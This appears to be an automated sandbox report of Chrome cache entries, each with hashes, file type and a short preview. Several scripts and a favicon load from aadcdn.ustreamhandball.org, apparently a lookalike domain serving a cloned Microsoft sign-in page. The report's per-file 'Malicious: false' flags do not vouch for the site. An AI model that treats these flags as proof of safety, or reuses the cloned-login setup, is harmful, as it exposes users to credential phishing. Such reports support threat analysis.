SHA1:	18AF7EAAE5E3AF057436DF91F5ED5201A2E4A8FC
SHA-256:	9A95225CB11B0F80E93626F98C7DC4289E980D8A203F79062E6DAD6D38BD5EFE
SHA-512:	E9930EBC49741B981151F6F10EA9EBBCC6AA614B7B5B5727AAE2473635A672D193EF2A28B7D15C823CE498DA9EFC49DBB8E14E95FB8B7F232271F82F0417A073
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ff82960bc478c6f/1736464867068/TbRO0vbkApJ1tRy
Preview:	.PNG........IHDR...9...,.....Pa......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46758)
Category:	downloaded
Size (bytes):	142534
Entropy (8bit):	5.430292296420059
Encrypted:	false
SSDEEP:	1536:PyeDWHTpHfTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGM:IHlz1g/Mq5L9EveUynbBwsIcFG
MD5:	1E53B78D5261860A6B01D5963F677A37
SHA1:	0DA8AD0E95ECAE8041E3514E58D0822EC5876026
SHA-256:	58D19968C4840D704F5E6FD3BEF00BE3B127B44537662268F0EC5C7007FFD45C
SHA-512:	19426F7F76882A501F1C3F48807BEA11C4D8AFBF632A2B52F6D79C761DFA0F02F9EA67AF0F9F7B8D66F55F2EE358DD6DECF87630515014A29AA0F277F3F75C56
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwlhUH9NxqvJ-hIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	454821
Entropy (8bit):	5.446058433018755
Encrypted:	false
SSDEEP:	6144:vSxuPjK4EaK2d/KkpZYhspmxiSpD9OduUSmcEHKE0H3NX4hr:vSQJKkp6epkiSUSk9
MD5:	A0B52BE84A916A96EEBC295EB65C1835
SHA1:	D2BF6D135FDB097992BC15E8355A2085C33C2257
SHA-256:	0D5D8051578E9C4B53FF2801C2FEB9701DCDFB7E8E15718F9BF19E04EE33DD6B
SHA-512:	AE7BD7E442BA21BA2FA32521594774B5459E67DBF137FA0801249AC06D28E972DE7A05D9D4C0C779C0C996A70D23D1AEDD66A569CE26CF2E11305FBF4C79BAAA
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	dropped
Size (bytes):	113769
Entropy (8bit):	5.492343205210805
Encrypted:	false
SSDEEP:	1536:Ux8gIRPY0+r5qnWis4mzA/4kQLJCUmgkpE7XXtXiN5CVoLq0J:PgDTMnWC3gZmgkAnZibcM
MD5:	9F02E24CD4E7788D28587C2B1CB504E7
SHA1:	59DA2FC24777CD180F6D3A3F7CE9D9DD90520430
SHA-256:	C30FD6BB912661057EC2EEA9A2F135303A6D0F8D110BF11493B369286F0587AE
SHA-512:	95276C7F1BBA2777F02E7CD3674CD0E967C96F0E0FC88C0862E82A7455A6C7D6CC90A23F9623412B3696F39F8C4069B17DC8FDF16C03003165D398E2080CAD57
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1379:function(e,t,

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	454821
Entropy (8bit):	5.446058433018755
Encrypted:	false
SSDEEP:	6144:vSxuPjK4EaK2d/KkpZYhspmxiSpD9OduUSmcEHKE0H3NX4hr:vSQJKkp6epkiSUSk9
MD5:	A0B52BE84A916A96EEBC295EB65C1835
SHA1:	D2BF6D135FDB097992BC15E8355A2085C33C2257
SHA-256:	0D5D8051578E9C4B53FF2801C2FEB9701DCDFB7E8E15718F9BF19E04EE33DD6B
SHA-512:	AE7BD7E442BA21BA2FA32521594774B5459E67DBF137FA0801249AC06D28E972DE7A05D9D4C0C779C0C996A70D23D1AEDD66A569CE26CF2E11305FBF4C79BAAA
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	dropped
Size (bytes):	406986
Entropy (8bit):	5.317891650221025
Encrypted:	false
SSDEEP:	3072:U8MOoLTvZBZdxn7oW/Cs9wQ2JcP2RTQ/Opsm7m5dihTuZykwFM8dteY2or/cOsF1:WTL7nxp/1+eH/8smQZnL1
MD5:	62627959E9174F652FFFE451CB318926
SHA1:	74A1658A01C50B01546C3E8AE9210CD93C7144CD
SHA-256:	7E782066C034F36E626F218099EB0588CF0AB8E8DF19003F48ADBBDA284E8FA1
SHA-512:	EFACC6A55FE6E8C8160F68DE71E1D21374E3F79C1482EE1A5543338CAEE97D4765EACB40F5EDA9FDEA9189F02F62E3EEE2EBC3FEF2BC730043CF644C044D7B42
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(539).concat([f

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46758)
Category:	dropped
Size (bytes):	142534
Entropy (8bit):	5.430292296420059
Encrypted:	false
SSDEEP:	1536:PyeDWHTpHfTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGM:IHlz1g/Mq5L9EveUynbBwsIcFG
MD5:	1E53B78D5261860A6B01D5963F677A37
SHA1:	0DA8AD0E95ECAE8041E3514E58D0822EC5876026
SHA-256:	58D19968C4840D704F5E6FD3BEF00BE3B127B44537662268F0EC5C7007FFD45C
SHA-512:	19426F7F76882A501F1C3F48807BEA11C4D8AFBF632A2B52F6D79C761DFA0F02F9EA67AF0F9F7B8D66F55F2EE358DD6DECF87630515014A29AA0F277F3F75C56
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	downloaded
Size (bytes):	113769
Entropy (8bit):	5.492343205210805
Encrypted:	false
SSDEEP:	1536:Ux8gIRPY0+r5qnWis4mzA/4kQLJCUmgkpE7XXtXiN5CVoLq0J:PgDTMnWC3gZmgkAnZibcM
MD5:	9F02E24CD4E7788D28587C2B1CB504E7
SHA1:	59DA2FC24777CD180F6D3A3F7CE9D9DD90520430
SHA-256:	C30FD6BB912661057EC2EEA9A2F135303A6D0F8D110BF11493B369286F0587AE
SHA-512:	95276C7F1BBA2777F02E7CD3674CD0E967C96F0E0FC88C0862E82A7455A6C7D6CC90A23F9623412B3696F39F8C4069B17DC8FDF16C03003165D398E2080CAD57
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1379:function(e,t,

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	downloaded
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14782)
Category:	dropped
Size (bytes):	15755
Entropy (8bit):	5.364203403428075
Encrypted:	false
SSDEEP:	384:DKeX/4OSgcK2Zr2ZfeXOh+rF3X1HDZDTzfXdv79Ni:v/a957/i
MD5:	B21937967628C01620B33966B480E387
SHA1:	2685229BC5F2540A4C36A2CD2D4BAE0C93489C86
SHA-256:	73911B6531D9AF94C4B34095F0899A00CB5765A417A5EEDAC85D5DC5458390F9
SHA-512:	50A6755F76EF09F02CD77F1111C249BCA7FF4ABC5B84DFF09BC45C405BC882B60096AA5ED19680D9EF41DC903EF529C1ABF0E48FA85DAD9104EDC7CA91CB9B53
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{525:function(e,n,s

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 57 x 44, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlaciftKkxl/k4E08up:6v/lhPR8tKk7Tp
MD5:	7B4C06C0C91A02C1570F48F9C477BE79
SHA1:	18AF7EAAE5E3AF057436DF91F5ED5201A2E4A8FC
SHA-256:	9A95225CB11B0F80E93626F98C7DC4289E980D8A203F79062E6DAD6D38BD5EFE
SHA-512:	E9930EBC49741B981151F6F10EA9EBBCC6AA614B7B5B5727AAE2473635A672D193EF2A28B7D15C823CE498DA9EFC49DBB8E14E95FB8B7F232271F82F0417A073
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...9...,.....Pa......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	downloaded
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
